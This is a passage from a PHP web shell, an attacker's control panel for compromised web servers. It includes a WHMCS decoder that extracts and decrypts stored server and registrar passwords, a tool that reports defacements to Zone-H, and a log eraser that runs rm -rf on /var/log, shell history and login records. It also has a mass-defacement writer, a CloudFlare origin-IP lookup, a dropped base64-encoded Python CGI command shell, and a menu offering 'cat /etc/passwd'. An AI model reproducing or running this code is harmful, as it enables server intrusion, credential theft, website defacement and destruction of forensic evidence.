$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "
<br><center><font size='5' color='#428bca'><b>-=[ WHMCS Decoder ]=-</b></font></center>
<center>
<br>
<FORM action='' method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr>
<tr><td><input type='text' style='color:#428bca;background-color:' class='inputz' size='38' name='db_host' value='' placeholder='db_host'></td></tr>
<tr><td><input type='text' style='color:#428bca;background-color:' class='inputz' size='38' name='db_username' value='' placeholder='db_username'></td></tr>
<tr><td><input type='text' style='color:#428bca;background-color:' class='inputz' size='38' name='db_password' value='' placeholder='db_password'></td></tr>
<tr><td><input type='text' style='color:#428bca;background-color:' class='inputz' size='38' name='db_name' value='' placeholder='db_name'></td></tr>
<tr><td><input style='color:#428bca;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value='' placeholder='cc_encryption_hash'></td></tr>
<td> <INPUT class='inputzbut' type='submit' style='color:#428bca;background-color:' value='Submit' name='Submit'></td>
</table>
</FORM>
</center>
";
if($_POST['form_action'] == 2 )
{
//include($file);
$db_host=($_POST['db_host']);
$db_username=($_POST['db_username']);
$db_password=($_POST['db_password']);
$db_name=($_POST['db_name']);
$cc_encryption_hash=($_POST['cc_encryption_hash']);
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
echo "</table><br><br></center>";
}
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=zone" method="post">
<br><br><center>
<!-- Zone-H -->
<form action="" method='POST'><table><table class='tabnet'><tr>
<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height='45' colspan='2'><form method="post">
<input type="text" class="inputz" name="defacer" value="Nama Defacer" />
<select name="hackmode" class="inputz" >
<option >------------------------Method------------------------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access c#428bcaentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>
<select name="reason" class="inputz" >
<option >-------------Reason---------------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone">
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
<br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>
<?php
echo '<center>';
if (isset($_POST["SendNowToZoneH"])) {
$hacker = $_POST['defacer'];
$method = $_POST['hackmode'];
$neden = $_POST['reason'];
$site = $_POST['domain'];
if (empty($hacker)) {
die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
} elseif ($method == "--------SELECT--------") {
die("<center><font size=3>[-] You Must Select The Method !</center>");
} elseif ($neden == "--------SELECT--------") {
die("<center><font size=3>[-] You Must Select The Reason</center>");
} elseif (empty($site)) {
die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
}
// Zone-h Poster
function ZoneH($url, $hacker, $hackmode, $reson, $site) {
$k = curl_init();
curl_setopt($k, CURLOPT_URL, $url);
curl_setopt($k, CURLOPT_POST, true);
curl_setopt($k, CURLOPT_POSTFIELDS, "defacer=" . $hacker . "&domain1=" . $site . "&hackmode=" . $hackmode . "&reason=" . $reson);
curl_setopt($k, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
$kubra = curl_exec($k);
curl_close($k);
return $kubra;
}
$i = 0;
$sites = explode("
", $site);
echo "<pre class=ml1 style='margin-top:5px'>";
while ($i < count($sites)) {
if (substr($sites[$i], 0, 4) != "http") {
$sites[$i] = "http://" . $sites[$i];
}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "<font class=txt size=3>Site : " . $sites[$i] . " Posted !</font><br>";
++$i;
}
echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
echo '</center>';
}
}
/////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'deltlogss'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=deltlogss" method="post">
<?php
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Logs Eraser</span><center><br>';
//exec function madafuck !
echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
exec("rm -rf /tmp/logs");
exec("rm -rf /root/.ksh_history");
exec("rm -rf /root/.bash_history");
exec("rm -rf /root/.bash_logout");
exec("rm -rf /usr/local/apache/logs");
exec("rm -rf /usr/local/apache/log");
exec("rm -rf /var/apache/logs");
exec("rm -rf /var/apache/log");
exec("rm -rf /var/run/utmp");
exec("rm -rf /var/logs");
exec("rm -rf /var/log");
exec("rm -rf /var/adm");
exec("rm -rf /etc/wtmp");
exec("rm -rf /etc/utmp");
exec("rm -rf $HISTFILE");
exec("rm -rf /var/log/lastlog");
exec("rm -rf /var/log/wtmp");
//shell_exec function madafuck !
shell_exec("rm -rf /tmp/logs");
shell_exec("rm -rf /root/.ksh_history");
shell_exec("rm -rf /root/.bash_history");
shell_exec("rm -rf /root/.bash_logout");
shell_exec("rm -rf /usr/local/apache/logs");
shell_exec("rm -rf /usr/local/apache/log");
shell_exec("rm -rf /var/apache/logs");
shell_exec("rm -rf /var/apache/log");
shell_exec("rm -rf /var/run/utmp");
shell_exec("rm -rf /var/logs");
shell_exec("rm -rf /var/log");
shell_exec("rm -rf /var/adm");
shell_exec("rm -rf /etc/wtmp");
shell_exec("rm -rf /etc/utmp");
shell_exec("rm -rf $HISTFILE");
shell_exec("rm -rf /var/log/lastlog");
shell_exec("rm -rf /var/log/wtmp");
//passthru function madafuck !
passthru("rm -rf /tmp/logs");
passthru("rm -rf /root/.ksh_history");
passthru("rm -rf /root/.bash_history");
passthru("rm -rf /root/.bash_logout");
passthru("rm -rf /usr/local/apache/logs");
passthru("rm -rf /usr/local/apache/log");
passthru("rm -rf /var/apache/logs");
passthru("rm -rf /var/apache/log");
passthru("rm -rf /var/run/utmp");
passthru("rm -rf /var/logs");
passthru("rm -rf /var/log");
passthru("rm -rf /var/adm");
passthru("rm -rf /etc/wtmp");
passthru("rm -rf /etc/utmp");
passthru("rm -rf $HISTFILE");
passthru("rm -rf /var/log/lastlog");
passthru("rm -rf /var/log/wtmp");
//Let the Mother of Functions To Complete The Task wkwkwkw xD!
system("rm -rf /tmp/logs");
sleep(2);
echo'<br><font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Deleted [+].../tmp/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif>';
sleep(2);
system("rm -rf /root/.bash_history");
sleep(2);
echo'<p>Deleted [+].../root/.bash_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /root/.ksh_history");
sleep(2);
echo'<p>Deleted [+].../root/.ksh_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /root/.bash_logout");
sleep(2);
echo'<p>Deleted [+].../root/.bash_logout <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /usr/local/apache/logs");
sleep(2);
echo'<p>Deleted [+].../usr/local/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /usr/local/apache/log");
sleep(2);
echo'<p>Deleted [+].../usr/local/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/apache/logs");
sleep(2);
echo'<p>Deleted [+].../var/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/apache/log");
sleep(2);
echo'<p>Deleted [+].../var/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/run/utmp");
sleep(2);
echo'<p>Deleted [+].../var/run/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/logs");
sleep(2);
echo'<p>Deleted [+].../var/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/log");
sleep(2);
echo'<p>Deleted [+].../var/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/adm");
sleep(2);
echo'<p>Deleted [+].../var/adm <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /etc/wtmp");
sleep(2);
echo'<p>Deleted [+].../etc/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /etc/utmp");
sleep(2);
echo'<p>Deleted [+].../etc/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf $HISTFILE");
sleep(2);
echo'<p>Deleted [+]...$HISTFILE <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/log/lastlog");
sleep(2);
echo'<p>Deleted [+].../var/log/lastlog <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/log/wtmp");
sleep(2);
echo'<p>Deleted [+].../var/log/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
sleep(4);
echo '</font><br><br><p><font color="00bb00" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Your Traces Has Been Successfully Erased From the Server';
echo"</td></tr></table>";
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass-cf'))
{
echo '
<form method="POST"><br><br>
<center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">+--=[ Bypass
<font color="#CC0000">CloudFlare</font> ]=--+</font></b></p>
<select class="inputz" name="krz">
<option>ftp</option>
<option>direct-conntect</option>
<option>webmail</option>
<option>cpanel</option>
</select>
<input class="inputz" type="text" name="target" value="url">
<input class="inputzbut" type="submit" value="Bypass"></center>
';
$target = $_POST['target'];
# Bypass From FTP
if($_POST['krz'] == "ftp") {
$ftp = gethostbyname("ftp."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#428bca'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
}
# Bypass From Direct-Connect
if($_POST['krz'] == "direct-conntect") {
$direct = gethostbyname("direct-connect."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#428bca'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
}
# Bypass From Webmail
if($_POST['krz'] == "webmail") {
$web = gethostbyname("webmail."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#428bca'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
}
# Bypass From Cpanel
if($_POST['krz'] == "cpanel") {
$cpanel = gethostbyname("cpanel."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#428bca'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid')) {
if(isset($_POST['gethash'])){
$hash = $_POST['hash'];
if(strlen($hash)==32){
$hashresult = "MD5 Hash";
}elseif(strlen($hash)==40){
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
}elseif(strlen($hash)==13){
$hashresult = "DES(Unix) Hash";
}elseif(strlen($hash)==16){
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
}elseif(strlen($hash)==41){
$GetHashChar = substr($hash, 40);
if($GetHashChar == "*"){
$hashresult = "MySQL5 Hash";
}
}elseif(strlen($hash)==64){
$hashresult = "SHA-256 Hash";
}elseif(strlen($hash)==96){
$hashresult = "SHA-384 Hash";
}elseif(strlen($hash)==128){
$hashresult = "SHA-512 Hash";
}elseif(strlen($hash)==34){
if(strstr($hash, '$1$')){
$hashresult = "MD5(Unix) Hash";
}
}elseif(strlen($hash)==37){
if(strstr($hash, '$apr1$')){
$hashresult = "MD5(APR) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$H$')){
$hashresult = "MD5(phpBB3) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$P$')){
$hashresult = "MD5(Wordpress) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$5$')){
$hashresult = "SHA-256(Unix) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$6$')){
$hashresult = "SHA-512(Unix) Hash";
}
}elseif(strlen($hash)==24){
if(strstr($hash, '==')){
$hashresult = "MD5(Base-64) Hash";
}
}else{
$hashresult = "Hash type not found";
}
}else{
$hashresult = "Not Hash Ente#428bca";
}
?>
<center><br><Br><br>
<form action="" method="POST">
<tr>
<table class="tabnet">
<th colspan="5">Hash Identification</th>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
</table></tr></form>
</center>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'python')) {
echo "<center/><br/><b>
+--==[ python Bypass Exploit ]==--+
</b><br><br>";
mkdir('python', 0755);
chdir('python');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
$file = fopen("python.izo" ,"w+");
$write = fwrite ($file ,base64_decode($pythonp));
fclose($file);
chmod("python.izo",0755);
echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
$text = $_POST['code'];
?><center><br><br><b>+--=[ Script Encode & Decode ]=--+</b><br><br>
<form method="post"><br><br><br>
<textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="base64">Base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
</select> <input class='inputzbut' type='submit' name='submit' value='Encrypt'>
<input class='inputzbut' type='submit' name='submits' value='Decrypt'>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;default:break;}}
$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;default:break;}}
echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "<center/><br/><b><font color=#428bca>-=[ Mass Deface ]=-</font></b><br>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
<tr>
<td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
</tr><br>
<tr>
<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="index.php"></td>
</tr>
</tr>
<th colspan='2'><b>Index code</b></th><br></table>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'></textarea><br>
<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
<?php
echo "<center/><br/><b><font color=#428bca>-=[ Command Bypass Exploit ]=-</font></b><br>
";
print_r('
<pre>
<form method="POST" action="">
<b><font color=#428bca><b><font color="#428bca">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#428bca">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
